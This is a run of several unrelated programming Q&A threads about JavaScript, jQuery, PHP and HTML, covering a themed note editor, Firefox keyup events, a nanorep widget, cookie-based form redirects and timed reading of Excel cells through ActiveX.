function retrieveNote() {
var info = $("#hid").data("info");
textfield.document.body.innerHTML = info;
}
$(".textfield").contents().keyup(function(evnt) {
document.getElementById("btn_save").style.opacity = "1";
saved = false;
});
function enableEdit(theme) {
increment = 0;
// Themes
if (theme === 'dark') {
color_text = "#757575";
color_button_light = "#303030";
color_button_dark = "#646464";
color_hover = "#535353";
brightness = 125;
color_background = "#151515";
} else if (theme === 'hacker') {
color_text = "#00BB00";
color_button_light = "#202020";
color_button_dark = "#00BB00";
color_hover = "#009900";
brightness = 125;
color_background = "#000000";
} else if (theme === 'light') {
color_text = "#999";
color_button_light = "#BBBBBB";
color_button_dark = "#757575";
color_hover = "#646464";
brightness = 90;
color_background = "#EEEEEE";
}
// Background Color
document.body.style.backgroundColor = color_background;
document.getElementById("toolbar").backgroundColor = color_background;
// Textfield
textfield.document.designMode = 'on';
var tag = "<link href='https://fonts.googleapis.com/css?family=Open+Sans|Heebo|Lato' rel='stylesheet'><style>body{font-family:consolas, heebo;}</style>"
$(".textfield").contents().find("head").append(tag);
textfield.document.body.style.fontSize = font_size + "px";
textfield.document.body.style.color = color_text;
textfield.document.body.style.padding = "20px";
textfield.document.body.style.tabSize = "4";
textfield.document.body.style.whiteSpace = "pre-wrap";
textfield.document.body.style.wordWrap = "break-word";
textfield.document.body.style.lineHeight = "1.4";
textfield.focus();
// Buttons
document.getElementById("btn_bold").style.color = color_button_light;
document.getElementById("btn_ita").style.color = color_button_light;
document.getElementById("btn_und").style.color = color_button_light;
document.getElementById("btn_plus").style.color = color_button_dark;
document.getElementById("btn_minus").style.color = color_button_dark;
}
function handlePaste() {
textfield.document.addEventListener("paste", function(evnt) {
evnt.preventDefault();
var text = evnt.clipboardData.getData("text/plain");
document.getElementById("btn_save").style.opacity = "1";
saved = false;
textfield.document.execCommand("insertText", false, text);
});
}
function handleDrop() {
textfield.document.addEventListener("drop", function (evnt) {
evnt.preventDefault();
document.getElementById("btn_save").style.opacity = "1";
saved = false;
var text = evnt.dataTransfer.getData("text/plain");
textfield.document.execCommand("insertText", false, text);
});
}
var sources = ["theme_dark.png", "theme_light2.png", "theme_hacker.png"];
var sources2 = ["save_dark.png", "save.png", "save_hacker.png"];
var themes = ["dark", "light", "hacker"];
var iterator;
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for(var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') {
c = c.substring(1);
}
if (c.indexOf(name) == 0) {
return c.substring(name.length, c.length);
}
}
return "";
}
function createCookie() {
if (getCookie("theme") == "") {
iterator = 0;
} else {
iterator = getCookie("theme");
}
document.getElementById('btn_theme').src = "img/" + sources[iterator];
document.getElementById('btn_save').src = "img/" + sources2[iterator];
enableEdit(themes[iterator]);
}
function changeTheme () {
createCookie();
if (iterator < sources.length-1) {
iterator++;
} else {
iterator = 0;
}
document.cookie = "theme=" + iterator + ";expires=Date.getTime() + 60 * 60 * 24 * 365 * 10;";
document.getElementById('btn_theme').src = "img/" + sources[iterator];
document.getElementById('btn_save').src = "img/" + sources2[iterator];
enableEdit(themes[iterator]);
onMouseEnter('btn_theme');
}
function bold() {
textfield.document.execCommand("bold", false, null);
}
function italic() {
textfield.document.execCommand("italic", false, null);
}
function underline() {
textfield.document.execCommand("underline", false, null);
}
function changeFontSize (amount) {
font_size += amount;
textfield.document.body.style.fontSize = font_size + "px";
}
function onMouseEnter(id) {
mouseObj = id;
if (mouseObj != 'btn_theme' && mouseObj != 'btn_save') {
document.getElementById(mouseObj).style.color = color_hover;
} else {
document.getElementById(mouseObj).style.filter = "brightness(" + brightness + "%)";
}
}
function onMouseLeave(id) {
mouseObj = null;
}
setInterval(function() {
var isBold = textfield.document.queryCommandState("Bold");
var isItalic = textfield.document.queryCommandState("Italic");
var isUnderlined = textfield.document.queryCommandState("Underline");
if (isBold == true && mouseObj == null) {
document.getElementById("btn_bold").style.color = color_button_dark;
} else if (isBold == false && mouseObj == null) {
document.getElementById("btn_bold").style.color = color_button_light;
}
if (isItalic == true && mouseObj == null) {
document.getElementById("btn_ita").style.color = color_button_dark;
} else if (isItalic == false && mouseObj == null) {
document.getElementById("btn_ita").style.color = color_button_light;
}
if (isUnderlined == true && mouseObj == null) {
document.getElementById("btn_und").style.color = color_button_dark;
} else if (isUnderlined == false && mouseObj == null) {
document.getElementById("btn_und").style.color = color_button_light;
}
if (mouseObj != 'btn_plus') {
document.getElementById("btn_plus").style.color = color_button_dark;
}
if (mouseObj != 'btn_minus') {
document.getElementById("btn_minus").style.color = color_button_dark;
}
if (mouseObj != 'btn_theme') {
document.getElementById("btn_theme").style.filter = "brightness(100%)";
}
if (mouseObj != 'btn_save') {
document.getElementById("btn_save").style.filter = "brightness(100%)";
}
},10);
PHP for saving the note
<?php
require("dbconnect.php");
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL:" . mysqli_error();
}
if (isset($_POST["posttext"]) && !empty($_POST["posttext"])) {
$content = $_POST['posttext'];
$content = mysqli_real_escape_string($connection, $_POST["posttext"]);
$insert = "INSERT INTO content (text) VALUES ('$content')";
mysqli_query($connection, $insert);
$id = mysqli_insert_id($connection);
}
?>

you can use jquery ...
$(document).ready(function(){
$(".textfield").keyup(function() {
$("#btn_save").css("opacity", 1);
});
});

Okay, I fixed the problem. Apparently Firefox needs $(document).ready() to properly function for keypress events (haven't tested other events).
So your code should be:
$(document).ready(function(){
$(".textfield").contents().keyup(function(evnt) {
document.getElementById("btn_save").style.opacity = "1";
saved = false;
});
});
Instead of:
$(".textfield").contents().keyup(function(evnt) {
document.getElementById("btn_save").style.opacity = "1";
saved = false;
});
As I already said this is a problem that only occured in Firefox AFAIK.
This code works in Chrome, Firefox, Opera, Edge and Internet Explorer as of time of writing this answer.

I had a similar problem.
The mobile keyboards (in Firefox) don't emit keyup, keydown and keypress events.
So, I met the Text Composition events.
Something like this:
myInput = document.getElementById('myInput');
myInput.addEventListener('compositionupdate', (event) => {
setTimeout(() => {
applyFilter(event)
});
})
The setTimeOut was necessary to wait input value receipt the keyboard value before call my function.

how we can capture nanorep response?

I have integrated the nanorep in my html page.
I have created the account at nanorep website.
when i am asking question it is responding answer well.
I am able to plug in nanorep correctly.
Now I want a functionality that on any button click event I want the answered which is provided by nanorep.
Thanks in advanced.
Here is the following code I have written for this.
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
<title></title>
<script type="text/javascript" language="javascript">
var _nRepData = _nRepData || []; _nRepData['kb'] = '19583554';
function nanorep() {
_nRepData['embed'] = { account: 'etech', container: 'Mydiv2', width: 400, maxHeight: 320, dynamicSize: true, cdcFrame: '', cdcVersion: 3, scriptVersion: '3.12.2.3' };
(function () {
var windowLoadFunc = function () {
var _nRepData = window._nRepData || [];
_nRepData['windowLoaded'] = true;
if (typeof (_nRepData['windowOnload']) === 'function') {
_nRepData['windowOnload']();
// alert(window._nRepData.toString());
}
};
if (window.attachEvent)
window.attachEvent('onload', windowLoadFunc);
else if (window.addEventListener)
window.addEventListener('load', windowLoadFunc, false);
var sc = document.createElement('script'); sc.type = 'text/javascript';
sc.async = true; sc.defer = true; sc.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'my.nanorep.com/widget/scripts/embed.js?account= etech';
var _head = document.getElementsByTagName('head')[0]; _head.appendChild(sc);
var a = document.getElementById('hdn').value = "hiddenvalue";
//alert(a);
})();
}
function answer1() {
alert("answer value" + $('#hdn').val());
}
function btngo_onclick() {
if (document.getElementById('hdn').value == 'hiddenvalue') {
answer1();
}
else {
alert("not working");
}
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div id="Mydiv2">
</div>
<asp:HiddenField runat="server" ID="hdn" />
</form>
<button id="btngo" onclick="return btngo_onclick()"> GO </button>
</body>
</html>

Change Javascript cookies redirection

i found this javascript that allow you to chose an option and once you click the go button. It will redirect you to another site. I have try modify this so i can use it with a button instead of a radio but it doesn't seem to work. Can any 1 help me out ??
Thank you very much.
here the code:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title></title>
<script language="JavaScript" type="text/javascript">
//chose which page to go to
function Link() {
if (document.fred.r1[0].checked) {
window.top.location = 'http://kshowonline.com/list';
}
if (document.fred.r1[1].checked) {
window.top.location = 'https://www.google.com/';
}
if (document.fred.r1[2].checked) {
window.top.location = 'https://www.yahoo.com/';
}
if (document.fred.r1[3].checked) {
window.top.location = 'https://nodejs.org/';
}
}
//-->
</script>
</head>
<body onload="f19_GetFormCookie();Link();">
<form title="f19_Include" name="fred">
<INPUT type="radio" name="r1">Baseball
<INPUT type="radio" name="r1">Basketball
<INPUT type="radio" name="r1">Soccer
<INPUT type="radio" name="r1">Fencing
<INPUT type="button" value="GO" onclick="f19_SetFormCookie();Link();">
</form>
<script language="JavaScript" type="text/javascript">
<!--
// A Cookie Script to Store and Retrieve
// the values and states of common form elements
// TEXT BOXES - value
// TEXT AREA - value
// CHECK BOX - checked state
// RADIO BUTTON - checked state
// SELECT LIST - selected Index
// Application Notes and Customising Variables
// Application Notes
// Values and states of each element are stored
// as the page is unloaded or form submitted.
// The storage duration is specified by a customising variable
// Stored values and states of elements included in the cookie
// are re-established as the page is reloaded.
// The number and type of elements included must respect
// the maximum cookie size of 4K.
// The Retrieval is initialised by a <BODY> onload event
// The Storage occurs on a <BODY> onunload event
// e.g.
// <body onload="f19_GetFormCookie();" onunload="f19_SetFormCookie();" >
// To include a form element in the Store and Retrieve
// it must be child nodes of an element with a title of 'f19_Include'
// e.g.
// <span title="f19_Include" >
// <INPUT type="text" size="10" >
// <INPUT type="checkbox >
// </span>
// There may be any number of elements titled 'f19_Include' on a page
// and as many child elements of each 'f19_Include' as required.
// All variable, function etc. names are prefixed with 'f19_'
// to minimise conflicts with other JavaScripts
// Customising Variables
var f19_Days = 1; // The cookie will be available on revisits for a specified number of days
var f19_Cookie = 'My Form2'; // The Cookie name
//-->
</script>
<script language="JavaScript" type="text/javascript">
<!--
// Form Compendium f19_Part2 (12-05-2005)
// Functional Code
// No Need To Change ***************************
var f19_TBAry = new Array();
var f19_RCAry = new Array();
var f19_TAAry = new Array();
var f19_SLAry = new Array();
var f19_TBString, f19_RCString, f19_TAString, f19_SLString;
var f19_, f19_exp, f19_st, f19_len, f19_end, f19_st;
var f19_Exp = new Date(new Date().getTime() + f19_Days * 86400000).toGMTString();
function f19_GetFormCookie() {
f19_TBString = f19_GetCookie(f19_Cookie + 'TB');
f19_RCString = f19_GetCookie(f19_Cookie + 'RC');
f19_SLString = f19_GetCookie(f19_Cookie + 'SL');
f19_TAString = f19_GetCookie(f19_Cookie + 'TA');
f19_ = document.getElementsByTagName('*');
for (f19_0 = 0; f19_0 < f19_.length; f19_0++) {
if (f19_[f19_0].title == 'f19_Include') {
f19_Inc = f19_[f19_0].getElementsByTagName('*');
for (f19_1 = 0; f19_1 < f19_Inc.length; f19_1++) {
if (f19_Inc[f19_1].tagName == 'INPUT') {
if (f19_Inc[f19_1].type == 'text') {
f19_TBAry[f19_TBAry.length] = f19_Inc[f19_1];
}
if (f19_Inc[f19_1].type == 'radio' || f19_Inc[f19_1].type == 'checkbox') {
f19_RCAry[f19_RCAry.length] = f19_Inc[f19_1];
}
}
if (f19_Inc[f19_1].tagName == 'TEXTAREA') {
f19_TAAry[f19_TAAry.length] = f19_Inc[f19_1];
}
if (f19_Inc[f19_1].tagName == 'SELECT') {
f19_SLAry[f19_SLAry.length] = f19_Inc[f19_1];
}
}
}
}
if (f19_TBString) {
for (f19_1 = 0; f19_1 < f19_TBAry.length; f19_1++) {
f19_TBAry[f19_1].value = f19_TBString.split('~^~')[f19_1];
}
}
if (f19_RCString) {
for (f19_2 = 0; f19_2 < f19_RCAry.length; f19_2++) {
f19_RCAry[f19_2].checked = false;
if (f19_RCString.split('~^~')[f19_2] == 'true') {
f19_RCAry[f19_2].checked = true;
}
}
}
if (f19_TAString) {
for (f19_3 = 0; f19_3 < f19_TAAry.length; f19_3++) {
f19_TAAry[f19_3].value = f19_TAString.split('~^~')[f19_3];
}
}
if (f19_SLString) {
for (f19_4 = 0; f19_4 < f19_SLAry.length; f19_4++) {
f19_SLAry[f19_4].selectedIndex = f19_SLString.split('~^~')[f19_4];
}
}
}
function f19_GetCookie(name) {
var f19_st = document.cookie.indexOf(name + "=");
var f19_len = f19_st + name.length + 1;
if ((!f19_st) && (name != document.cookie.substring(0, name.length))) return null;
if (f19_st == -1) return null;
var f19_end = document.cookie.indexOf(";", f19_len);
if (f19_end == -1) f19_end = document.cookie.length;
return decodeURI(document.cookie.substring(f19_len, f19_end));
}
function f19_SetFormCookie(value) {
f19_TBString = '';
for (f19_0 = 0; f19_0 < f19_TBAry.length; f19_0++) {
f19_TBString += f19_TBAry[f19_0].value + '~^~';
}
document.cookie = f19_Cookie + "TB=" + encodeURI(f19_TBString) + ";expires=" + f19_Exp + ";path=/;"
f19_RCString = '';
for (f19_1 = 0; f19_1 < f19_RCAry.length; f19_1++) {
f19_RCString += f19_RCAry[f19_1].checked + '~^~';
}
document.cookie = f19_Cookie + "RC=" + encodeURI(f19_RCString) + ";expires=" + f19_Exp + ";path=/;"
f19_TAString = '';
for (f19_0 = 0; f19_0 < f19_TAAry.length; f19_0++) {
f19_TAString += f19_TAAry[f19_0].value + '~^~';
}
document.cookie = f19_Cookie + "TA=" + encodeURI(f19_TAString) + ";expires=" + f19_Exp + ";path=/;"
f19_SLString = '';
for (f19_1 = 0; f19_1 < f19_SLAry.length; f19_1++) {
f19_SLString += f19_SLAry[f19_1].selectedIndex + '~^~';
}
document.cookie = f19_Cookie + "SL=" + encodeURI(f19_SLString) + ";expires=" + f19_Exp + ";path=/;"
}
//-->
</script>
</body>
</html>

You can use onclick event on radio buttons:
http://www.dyn-web.com/tutorials/forms/radio/onclick-onchange.php
You could modify your code to use Buttons instead RadioButtons.
It should resemble the following:
<button name="b1" onclick="f19_SetFormCookie('Baseball')">Baseball</button>
<button name="b2" onclick="f19_SetFormCookie('Basketball')">Basketball</button>
<button name="b3" onclick="f19_SetFormCookie('Soccer')">Soccer</button>
<button name="b4" onclick="f19_SetFormCookie('Fencing')">Fencing</button>
Then you'll have to modify SetFormCookie function to accept the argument - based on which cookie will be set.

how to show value without clicking on submit button

I am using html5 and javascript .I am reading excel file from java script and showing output..PLease analyze my code first
<input type="button" id="btnSubmit" onclick="readdata(1, 2)" value="Submit" />
var xVal = 1;
var yVal = 2
function readdata(x,y) {
x = xVal;
y = yVal;
try {
var excel = new ActiveXObject("Excel.Application");
excel.Visible = false;
var excel_file = excel.Workbooks.Open("D:\\Test.xls");// alert(excel_file.worksheets.count);
var excel_sheet = excel_file.Worksheets("Sheet1");
var data = excel_sheet.Cells(x, y).Value;
//alert(data);
drawWithexcelValue(data);
xVal = xVal + 1;
}
catch (ex) {
alert(ex);
}
Now I'm reading the file from this code and showing the output with this code:
function drawWithexcelValue(val) {
var txtSpeed = val; //alert(txtSpeed.value);
if (txtSpeed !== null) {
iTargetSpeed = txtSpeed;
// Sanity checks
if (isNaN(iTargetSpeed)) {
iTargetSpeed = 0;
} else if (iTargetSpeed < 0) {
iTargetSpeed = 0;
} else if (iTargetSpeed > 80) {
iTargetSpeed = 80;
}
job = setTimeout("draw()", 5);
}
}
Q .1 every time i click on the submit button it show me the value from excel file ,i want that i didn't have to click every time on submit button ..it automatically show the values at some time interval for say 4 seconds.
Q :-2 I didn't want the submit button ,that means when i run this code it automaticaly start running the script say onload ="readdata(1, 2)" ,but it is showing only one value ...how to show all values with some time interval ..please help!!!!!
Guys if you can give me edited code than it really will be help full for me

here this code will surely work for ya
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>Speedometer HTML5 Canvas</title>
<script src="script copy.js">
</script>
</head>
<body onload='draw(0);'>
<canvas id="tutorial" width="440" height="220">
Canvas not available.
</canvas>
<div id="divHidden" style="visibility: hidden; width: 0px; height: 0px">
<form id="drawTemp">
<input type="text" id="txtSpeed" name="txtSpeed" value="20" maxlength="2" />
<input type="button" value="Draw" onclick="drawWithInputValue();">
<input type="file" id="file" onchange="checkfile(this);" />
<input type="button" id="btnSubmit" onclick="readdata(1, 2)" value="Submit" />
<button onclick="myStopFunction()">Stop Meter</button>
</form>
</div>
</body>
</html>
<script type="text/javascript" language="javascript">
var myVar=setInterval(function(){readdata(1,2)},2000);
function myStopFunction()
{
clearInterval(myVar);
}
function checkfile(sender) {
var validExts = new Array(".xlsx", ".xls", ".csv");
var fileExt = sender.value;
fileExt = fileExt.substring(fileExt.lastIndexOf('.'));
if (validExts.indexOf(fileExt) < 0) {
alert("Invalid file selected, valid files are of " +
validExts.toString() + " types.");
return false;
}
else return true;
}
var xVal = 1;
var yVal = 2
function readdata(x,y) {
x = xVal;
y = yVal;
try {
var excel = new ActiveXObject("Excel.Application");
excel.Visible = false;
var excel_file = excel.Workbooks.Open("D:\\Test.xls");// alert(excel_file.worksheets.count);
var excel_sheet = excel_file.Worksheets("Sheet1");
var data = excel_sheet.Cells(x, y).Value;
//alert(data);
drawWithexcelValue(data);
xVal = xVal + 1;
if(data==null || data=="")
{
myStopFunction();
}
excel.Application.Quit();
}
catch (ex) {
alert(ex);
}
}
</script>

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